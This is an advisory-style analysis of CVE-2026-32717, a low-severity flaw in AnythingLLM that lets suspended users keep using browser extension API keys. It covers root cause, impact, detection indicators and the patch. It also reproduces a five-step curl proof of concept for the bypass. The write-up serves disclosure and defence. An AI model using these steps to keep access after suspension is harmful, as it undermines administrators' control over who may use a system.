CVE-2026-32717: 
Homebrew vulnerability analysis and mitigation

CVE-2026-32717 is an access control bypass vulnerability in AnythingLLM (by Mintplex-Labs) that allows suspended users to continue accessing browser extension API endpoints using previously issued brx-... API keys. Affecting versions 1.11.1 and earlier in multi-user mode, the flaw was published on March 13, 2026, with a patch released shortly after. It carries a CVSS v3.1 base score of 2.7 (Low), reflecting the high privilege requirement and limited integrity impact (GitHub Advisory, Red Hat CVE).

The root cause is Incorrect Authorization (CWE-863): the validBrowserExtensionApiKey() middleware loads the associated user from the database but never checks whether that user's suspended flag is set, unlike the standard JWT path (validateMultiUserRequest()) which explicitly rejects suspended users. As a result, any valid brx-... key issued before suspension continues to authenticate requests to browser extension endpoints (/api/browser-extension/check, /api/browser-extension/workspaces, /api/browser-extension/upload-content, /api/browser-extension/embed-content). Exploitation requires the attacker to already hold a manager-role account (needed to generate browser extension API keys) and to have created the key prior to suspension. A detailed proof-of-concept using curl commands is publicly available in the GitHub Security Advisory (GitHub Advisory, Patch Commit).

A suspended user who retains a valid browser extension API key can read workspace metadata within their pre-existing permission scope and continue performing document upload and embed operations, effectively circumventing the suspension control. The impact is bounded to data and workspaces the user was already authorized to access — no privilege escalation or new data exposure occurs. Confidentiality and availability are unaffected; only integrity is marginally impacted through unauthorized upload/embed actions (GitHub Advisory).

A proof-of-concept with explicit curl commands demonstrating the full bypass is publicly documented in the GitHub Security Advisory, rated high confidence by Feedly threat intelligence. There is no evidence of in-the-wild exploitation at this time, and the vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. The EPSS score is approximately 0.024%, reflecting low probability of near-term exploitation. Exploitation is limited to users who previously held manager-level access and had already generated a browser extension API key before being suspended (GitHub Advisory).

1. Pre-suspension key creation: While the account is active and holds manager privileges, generate a browser extension API key:

curl -i -sS -X POST "/api/browser-extension/api-keys/new" -H "Authorization: Bearer <JWT>"
# Expected: HTTP 200 {"apiKey":"brx-<key>"}

2. Account suspension: An administrator suspends the user account via the admin API:

curl -i -sS -X POST "/api/admin/user/<id>" -H "Authorization: Bearer <admin-JWT>" -H "Content-Type: application/json" --data '{"suspended":1}'
# Expected: HTTP 200 {"success":true,"error":null}

3. Confirm JWT path is blocked: Verify the normal session token is rejected:

curl -i -sS "/api/system/check-token" -H "Authorization: Bearer <JWT>"
# Expected: HTTP 401 {"error":"User is suspended from system"}

4. Bypass via browser extension key: Use the previously issued brx-... key to access extension endpoints:

curl -i -sS "/api/browser-extension/check" -H "Authorization: Bearer brx-<key>"
# Expected: HTTP 200 {"connected":true,"workspaces":[...],"apiKeyId":<id>}

5. Perform write operations: Upload content to workspaces despite suspension:

curl -i -sS -X POST "/api/browser-extension/upload-content" -H "Authorization: Bearer brx-<key>" -H "Content-Type: application/json" --data '{"textContent":"poc","metadata":{"title":"poc","docSource":"poc"}}'
# Expected: HTTP 200 {"success":true}

(GitHub Advisory)

• Network: HTTP requests to /api/browser-extension/check, /api/browser-extension/workspaces, /api/browser-extension/upload-content, or /api/browser-extension/embed-content using Authorization: Bearer brx-... headers from accounts that have been suspended.
• Logs: Application access logs showing successful HTTP 200 responses on browser extension endpoints for user IDs corresponding to suspended accounts; contrast with HTTP 401 responses on /api/system/check-token for the same user.
• Application State: Presence of active brx-... API keys in the browser_extension_api_keys database table associated with users whose suspended flag is set to true.
• File System / Data: Unexpected document uploads or embedded content in workspaces attributed to suspended user accounts, identifiable via audit/event logs in AnythingLLM. (GitHub Advisory)

Upgrade AnythingLLM to any version after 1.11.1 (patched in commit a207449), which adds suspension and user-existence checks to the validBrowserExtensionApiKey middleware and deletes all browser extension API keys when a user is deleted. As an immediate workaround prior to patching, administrators should manually revoke all brx-... browser extension API keys for any suspended users via the admin interface or directly in the database. Multi-user deployments should audit existing browser extension API keys and cross-reference them against suspended accounts (GitHub Advisory, Patch Commit).

The vulnerability was reported by researcher u-ktdi and the advisory was published by AnythingLLM maintainer timothycarambat on March 13, 2026. The issue received limited but notable coverage from security aggregators including InfinitSec and CVE tracking platforms shortly after disclosure. Community discussion was minimal given the low severity score, with no significant media coverage or widespread researcher commentary observed (GitHub Advisory).